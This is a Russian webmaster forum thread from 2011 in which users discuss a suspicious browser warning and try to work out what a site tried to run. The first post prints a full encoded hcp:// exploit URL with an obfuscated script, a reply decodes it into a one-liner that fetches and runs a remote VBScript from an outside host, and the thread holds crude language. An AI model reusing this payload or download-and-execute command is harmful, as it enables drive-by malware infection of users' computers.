Форум успешных вебмастеров - GoFuckBiz.com

  Форум успешных вебмастеров - GoFuckBiz.com > Бизнес-решения > Скрипты, программы и технические решения
Дата
USD/RUB58.9640
BTC/USD0.0000
Скрипты, программы и технические решения Обсуждаем скрипты, программы и новые технологии.

Закрытая тема
Опции темы Опции просмотра
Старый 28.03.2011, 20:22   #1
qazxcvbnm
Ниибаца крутой програмер
 
Аватар для qazxcvbnm
 
Регистрация: 04.08.2009
Сообщений: 904
Бабло: $177555
По умолчанию что за хуйня ?

при заходе на страницу netlore.ru/feikovye_oblojki Браузер сообщил что страница пытается открыть какую-то программу

касперский молчал
dr web online Ничего не нашёл

техническая информация, которая была в сообщении браузера

PHP код:
hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=<script defer>eval(Run(String.fromCharCode(99,109,100,32,47,99,32,101,99,104,111,32,66,61,34,108,46,118,98,115,34,58,87,105,116,104,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,83,88,77,76,50,46,88,77,76,72,84,84,80,34,41,58,46,111,112,101,110,32,34,71,69,84,34,44,34,104,116,116,112,58,47,47,122,97,113,49,56,46,99,122,46,99,99,47,103,97,109,101,115,47,104,99,112,95,118,98,115,46,112,104,112,63,102,61,50,52,34,44,102,97,108,115,101,58,46,115,101,110,100,40,41,58,83,101,116,32,65,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,41,58,83,101,116,32,68,61,65,46,67,114,101,97,116,101,84,101,120,116,70,105,108,101,40,65,46,71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114,40,50,41,32,43,32,34,92,34,32,43,32,66,41,58,68,46,87,114,105,116,101,76,105,110,101,32,46,114,101,115,112,111,110,115,101,84,101,120,116,58,69,110,100,32,87,105,116,104,58,68,46,67,108,111,115,101,58,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,46,82,117,110,32,65,46,71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114,40,50,41,32,43,32,34,92,34,32,43,32,66,32,62,32,37,84,69,77,80,37,92,92,108,46,118,98,115,32,38,38,32,37,84,69,77,80,37,92,92,108,46,118,98,115,32,38,38,32,116,97,115,107,107,105,108,108,32,47,70,32,47,73,77,32,104,101,108,112,99,116,114,46,101,120,101)));</script> 
что цэ таке ?
qazxcvbnm вне форума  
Старый 28.03.2011, 20:25   #2
Andy123
Senior Member
 
Аватар для Andy123
 
Регистрация: 19.08.2010
Сообщений: 580
Бабло: $95255
По умолчанию

cmd /c echo B="l.vbs":With CreateObject("MSXML2.XMLHTTP"):.open "GET","http://zaq18.cz.cc/games/hcp_vbs.php?f=24",false:.send():Set A = CreateObject("Scripting.FileSystemObject"):Set D=A.CreateTextFile(A.GetSpecialFolder(2) + "\" + B).WriteLine .responseText:End With.Close:CreateObject("WScript.Shell").Run A.GetSpecialFolder(2) + "\" + B > %TEMP%\\l.vbs && %TEMP%\\l.vbs && taskkill /F /IM helpctr.exe
Andy123 вне форума  
Старый 28.03.2011, 20:33   #3
qazxcvbnm
Ниибаца крутой програмер
 
Аватар для qazxcvbnm
 
Регистрация: 04.08.2009
Сообщений: 904
Бабло: $177555
ТС -->
автор темы ТС По умолчанию

при попытке редактирования поста касперский ругается
qazxcvbnm вне форума  
Старый 28.03.2011, 20:38   #4
RedHead
Senior Member
 
Аватар для RedHead
 
Регистрация: 26.08.2008
Адрес: UA
Сообщений: 2,946
Бабло: $402755
По умолчанию

НИКАЧАТИ ПОЦАНИ ТАМ БЛЯДЬ ВИРУС!!! Я СКОЧАЛ БРАТА ЗАКРУТИЛО И В ЧЁРНУЮ ДЫРУ ЗАСОСАЛО ! ЧТО Ж ТЫ ДЕЛАЕШЬ-ТО ИРОД! (с)
RedHead вне форума  
Старый 28.03.2011, 20:41   #5
qazxcvbnm
Ниибаца крутой програмер
 
Аватар для qazxcvbnm
 
Регистрация: 04.08.2009
Сообщений: 904
Бабло: $177555
ТС -->
автор темы ТС По умолчанию

ну кстати да, по ссылке ходить не надо, хотя если даже ie8 заблокировал, то остальные браузеры тоже должны



ссылка zaq18.cz.cc/games/hcp_vbs.php?f=24 даёт это







что оно делает ?

Последний раз редактировалось qazxcvbnm; 28.03.2011 в 20:48.
qazxcvbnm вне форума  
Старый 28.03.2011, 20:42   #6
izlade
Силденафил
 
Аватар для izlade
 
Регистрация: 17.05.2009
Сообщений: 546
Бабло: $11198228
Отправить сообщение для izlade с помощью Yahoo
По умолчанию

По ссылке не ходил. Брат выздоровел.
izlade вне форума  
Старый 28.03.2011, 20:47   #7
Andy123
Senior Member
 
Аватар для Andy123
 
Регистрация: 19.08.2010
Сообщений: 580
Бабло: $95255
По умолчанию

оключаем плагины (ява,flash,pdf) яваскрипт и ходим где хотим
Andy123 вне форума  
Старый 29.03.2011, 04:49   #8
simba
Member
 
Регистрация: 11.09.2010
Сообщений: 56
Бабло: $7755
По умолчанию

Цитата:
Сообщение от qazxcvbnm Посмотреть сообщение






что оно делает ?
основная задача - скачать и запустить. просто закодировали код)
__________________
Блог Симбы
simba вне форума